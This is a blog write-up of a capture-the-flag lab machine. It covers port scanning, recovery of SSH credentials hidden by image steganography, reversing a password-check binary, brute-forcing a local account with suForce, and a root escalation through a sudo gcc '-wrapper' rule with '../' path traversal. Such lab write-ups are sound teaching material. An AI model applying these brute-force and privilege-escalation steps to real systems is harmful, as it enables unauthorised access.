banner
言心吾

言心吾のBlog

吾言为心声

Review of the Shooting Range: Mj's Self-Made Target Machine

Information Gathering#

The nmap scan results are as follows:

┌──(root㉿kali)-[~/challenge/0213]
└─# cat nmapscan/detail    
# Nmap 7.95 scan initiated Thu Feb 13 10:38:44 2025 as: /usr/lib/nmap/nmap -sC -sV -p22,80 -Pn -n -T4 -sT -oN nmapscan/detail 192.168.56.104
Nmap scan report for 192.168.56.104
Host is up (0.00072s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
| ssh-hostkey: 
|   2048 c2:91:d9:a5:f7:a3:98:1f:c1:4a:70:28:aa:ba:a4:10 (RSA)
|   256 3e:1f:c9:eb:c0:6f:24:06:fc:52:5f:2f:1b:35:33:ec (ECDSA)
|_  256 ec:64:87:04:9a:4b:32:fe:2d:1f:9a:b0:81:d3:7c:cf (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: nginx/1.14.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Feb 13 10:38:51 2025 -- 1 IP address (1 host up) scanned in 6.88 seconds

According to the scan results, the target host only has ports 22 and 80 open, which are SSH and HTTP services, respectively. The HTTP service is using Nginx version 1.14.2, and the webpage displays the default welcome page of Apache2.

Web Reconnaissance#

Attempted directory brute-forcing yielded no results.

image

The homepage is a typical Apache2 Ubuntu default page. To conduct further probing, we first used wget to download the homepage and check its size.

image It turns out that the size of this page is indeed different from the usual Apache2 page. Next, we checked its source code and found two very critical comments:

  • <!-- 117db0148dc179a2c2245c5a30e63ab0 --> -> Attempted to decrypt with md5 but failed.
  • <!-- Some people always don't understand the format of photos. --> -> Combined with the above comment, it is speculated that there are hidden image files.

We used gobuster for directory brute-forcing.

┌──(root㉿kali)-[~/challenge/0213]
└─# gobuster dir -w hint -u `IP` -x .jpg,.jpeg,.png,.gif,.bmp,.tiff,.webp --exclude-length 11618
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.104
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                hint
[+] Negative Status codes:   404
[+] Exclude Length:          11618
[+] User Agent:              gobuster/3.6
[+] Extensions:              jpg,jpeg,png,gif,bmp,tiff,webp
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/117db0148dc179a2c2245c5a30e63ab0.jpg (Status: 200) [Size: 190696]
/117db0148dc179a2c2245c5a30e63ab0.png (Status: 200) [Size: 379011]
Progress: 8 / 16 (50.00%)
===============================================================
Finished
===============================================================

According to the brute-forcing results, two image files were discovered:

image

Image Steganalysis#

jpg:#

┌──(root㉿kali)-[~/challenge/0213]
└─# exiftool 117db0148dc179a2c2245c5a30e63ab0.jpg 
ExifTool Version Number         : 13.10
File Name                       : 117db0148dc179a2c2245c5a30e63ab0.jpg
Directory                       : .
File Size                       : 191 kB
File Modification Date/Time     : 2025:02:13 01:33:04+08:00
File Access Date/Time           : 2025:02:14 21:09:38+08:00
File Inode Change Date/Time     : 2025:02:13 10:55:21+08:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Comment                         : 219f26695ac66c93de9de70eebeefea4deb071df71b9b7d7ebcc06eca47ff6e4
Image Width                     : 1280
Image Height                    : 960
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 1280x960
Megapixels                      : 1.2

┌──(root㉿kali)-[~/challenge/0213]
└─# stegseek 117db0148dc179a2c2245c5a30e63ab0.jpg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Progress: 99.42% (132.7 MB)           
[!] error: Could not find a valid passphrase.

In the Comment field, we obtained a string of characters but could not decipher it; it should be a smokescreen. After that, we used the stegseek tool for steganalysis but failed to find a valid password.

png:#

Using zsteg to check for lsb steganography.

┌──(root㉿kali)-[~/challenge/0213]
└─# zsteg 117db0148dc179a2c2245c5a30e63ab0.png
imagedata           .. text: "\n\n\n\t\t\t\n\n\n"
b1,rgb,lsb,xy       .. text: "morainelake"
b1,bgr,msb,xy       .. file: OpenPGP Public Key
b2,r,lsb,xy         .. text: "UUUUUUUU@"
b2,g,lsb,xy         .. text: "E@UAUUUUUUUUj"
b2,g,msb,xy         .. text: "UUUZs-VUU"
b2,b,lsb,xy         .. text: "EUUUUUUUUV"
b2,b,msb,xy         .. text: "_UUUoUUe"
b3,b,msb,xy         .. file: MPEG ADTS, layer I, v2,  96 kbps, Stereo
b3,rgb,lsb,xy       .. file: PGP Secret Sub-key -
b4,r,lsb,xy         .. text: "DEUTfgww"
b4,r,msb,xy         .. text: "M,\"\"\"\"\"\""
b4,g,lsb,xy         .. text: ["\"" repeated 10 times]
b4,g,msb,xy         .. text: "HDDDDDDDDDDH"
b4,b,lsb,xy         .. text: "3\"##2\"\"#33333333333333334DDDDDDDDDD4C333\"\"\""
b4,b,msb,xy         .. text: ",\"\"\"\"\"\"\"\"\"\","

There is lsb steganography present, and the morainelake here is likely a potential password.

Using the password morainelake, we successfully extracted the hidden file from steghide:

┌──(root㉿kali)-[~/challenge/0213]
└─# steghide extract -sf 117db0148dc179a2c2245c5a30e63ab0.jpg -p morainelake
the file "secret.zip" does already exist. overwrite ? (y/n) y
wrote extracted data to "secret.zip".

Next, we unzip the secret.zip file, again using the above password:

┌──(root㉿kali)-[~/challenge/0213]
└─# unzip secret.zip          
Archive:  secret.zip
   creating: secret/
[secret.zip] secret/secret.txt password: 
 extracting: secret/secret.txt

Finally, we obtained a set of SSH credentials:

┌──(root㉿kali)-[~/challenge/0213]
└─# cat secret/secret.txt 
morainelake:660930334

Privilege Escalation - welcome#

First, we perform reverse engineering on the /opt/reverse program. The pseudocode of the main function is as follows:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v4[28]; // [rsp+9h] [rbp-E7h] BYREF
  char v5[7]; // [rsp+25h] [rbp-CBh] BYREF
  char v6[16]; // [rsp+2Ch] [rbp-C4h] BYREF
  int v7; // [rsp+3Ch] [rbp-B4h] BYREF
  int v8; // [rsp+40h] [rbp-B0h] BYREF
  int v9; // [rsp+60h] [rbp-90h] BYREF
  int v10[8]; // [rsp+80h] [rbp-70h] BYREF
  char dest[24]; // [rsp+A0h] [rbp-50h] BYREF
  void *ptr; // [rsp+B8h] [rbp-38h]
  int v13; // [rsp+C0h] [rbp-30h]
  char v14; // [rsp+C7h] [rbp-29h]
  char *v15; // [rsp+C8h] [rbp-28h]
  char *v16; // [rsp+D0h] [rbp-20h]
  void *v17; // [rsp+D8h] [rbp-18h]
  void *v18; // [rsp+E0h] [rbp-10h]
  char v19; // [rsp+EBh] [rbp-5h]
  int v20; // [rsp+ECh] [rbp-4h]

  puts("Enter passwords or Enter H coward mode:");
  v20 = 0;
  while ( 1 )
  {
    __isoc99_scanf("%s", &v4[7]);
    if ( strcmp(&v4[7], "H") )
      break;
    if ( ++v20 == 100 )
    {
      puts("Hint: Invert XOR Replace! ");
      goto LABEL_6;
    }
  }
  strcpy(dest, &v4[7]);
  __isoc99_scanf("%s %s %s", v10, &v9, &v8);
LABEL_6:
  v7 = 8203321;
  strcpy(&v6[9], "/, 8:(");
  strcpy(v6, "!!|}yx{z");
  strcpy(v5, "(;$)(#");
  v19 = 77;
  v18 = (void *)xor_decrypt(v6, 77LL);
  v17 = (void *)xor_decrypt(&v6[9], (unsigned int)v19);
  v16 = (char *)xor_decrypt(&v7, (unsigned int)v19);
  v15 = (char *)xor_decrypt(v5, (unsigned int)v19);
  if ( (unsigned int)check_passwords((int)dest, (int)v10, (int)&v9, (int)&v8, (int)v18, (int)v17, v16, v15) )
  {
    strcpy(v4, "pvygob");
    v14 = 106;
    v13 = 10;
    ptr = (void *)caesar_decrypt(v4, 10LL);
    printf("[+] Enter the password successfully! you know: %s\n", (const char *)ptr);
    free(ptr);
  }
  else
  {
    puts("[-] Incorrect password!");
  }
  free(v18);
  free(v17);
  free(v16);
  free(v15);
  return 0;
}

The main function of this program primarily serves password verification. In the function, the user is first prompted to enter a password or enter "H coward mode." If the user inputs "H," the program will provide a hint regarding the XOR operation and continue executing other operations. Subsequently, the program uses multiple xor_decrypt and caesar_decrypt functions to decrypt a series of preset strings, ultimately verifying the password's correctness through the check_passwords function. If the password is correct, the program will decrypt a string using caesar_decrypt and output a hint message.

Combining the specific implementations of the program's xor_decrypt and caesar_decrypt functions, the following decryption script can be written:

def xor_decrypt(data, key):
    return ''.join(chr(ord(c) ^ key) for c in data)

def caesar_decrypt(data, shift):
    decrypted = []
    for char in data:
        if char.isalpha():
            shift_amount = 65 if char.isupper() else 97
            decrypted.append(chr((ord(char) - shift_amount - shift) % 26 + shift_amount))
        else:
            decrypted.append(char)
    return ''.join(decrypted)

# Decrypting strings
v6 = "!!|}yx{z"
v6_part = "/, 8:("
v5 = "(;$)(#"
v4 = "pvygob"
v7 = 8203321

# Convert v7 to byte array
v7_bytes = v7.to_bytes((v7.bit_length() + 7) // 8, 'little')

# Using XOR decryption
key = 77
decrypted_v6 = xor_decrypt(v6, key)
decrypted_v6_part = xor_decrypt(v6_part, key)
decrypted_v5 = xor_decrypt(v5, key)
decrypted_v7 = xor_decrypt(v7_bytes.decode(), key)

# Using Caesar decryption
shift = 10
decrypted_v4 = caesar_decrypt(v4, shift)

print("Decrypted v6:", decrypted_v6)
print("Decrypted v6_part:", decrypted_v6_part)
print("Decrypted v5:", decrypted_v5)
print("Decrypted v7:", decrypted_v7)
print("Decrypted v4:", decrypted_v4)

image

Based on the input requirements of the check_passwords function, we know that the correct password components are:

User Input  vs  Expected Decrypted Value
--------------------------------
dest       ==  v18
v10        ==  v17
v9         ==  v16
v8         ==  v15

Input in order.
image

Successfully cracked the program, but our goal is to obtain the welcome user.

Using the following code to generate a dictionary of all permutations containing the above four inputs:

import itertools

# Define four strings
strings = ["ll104567", "bamuwe", "eviden", "ta0"]

# Generate permutations
permutations = list(itertools.permutations(strings))

# Print permutation results
for perm in permutations:
    print(''.join(perm))

Then upload to suForce for brute-forcing.

morainelake@listen:/tmp$ ./suForce -u welcome -w dict 
            _____                          
 ___ _   _ |  ___|__  _ __ ___ ___   
/ __| | | || |_ / _ \| '__/ __/ _ \ 
\__ \ |_| ||  _| (_) | | | (_|  __/  
|___/\__,_||_|  \___/|_|  \___\___|  
───────────────────────────────────
 code: d4t4s3c     version: v1.0.0
───────────────────────────────────
🎯 Username | welcome
📖 Wordlist | dict
🔎 Status   | 2/24/8%/ll104567bamuweta0eviden
💥 Password | ll104567bamuweta0eviden
───────────────────────────────────

Brute-force successful, obtained welcome user privileges.

Privilege Escalation - root#

The root part is relatively simple, almost a ready-made sudo privilege escalation.

morainelake@listen:/tmp$ su - welcome
Password: 
$ bash
welcome@listen:~$ sudo -l
Matching Defaults entries for welcome on listen:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on listen:
    (ALL : ALL) NOPASSWD: /usr/bin/gcc -wrapper /opt/*

Consulting gtfo for privilege escalation methods.
image

welcome@listen:~$ sudo gcc -wrapper /opt/../../../../bin/bash,-s .
root@listen:/home/welcome# id
uid=0(root) gid=0(root) groups=0(root)

Using ../ to bypass directory restrictions, successfully escalated privileges to root.

Summary#

The entry point of the target machine stumped me for a long time. Although I quickly found two hidden images, I didn't think of steghide steganography when stegseek didn't reveal the password.

Overall, this target machine is very interesting, thanks to LingMj for the hard work in creating it!

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.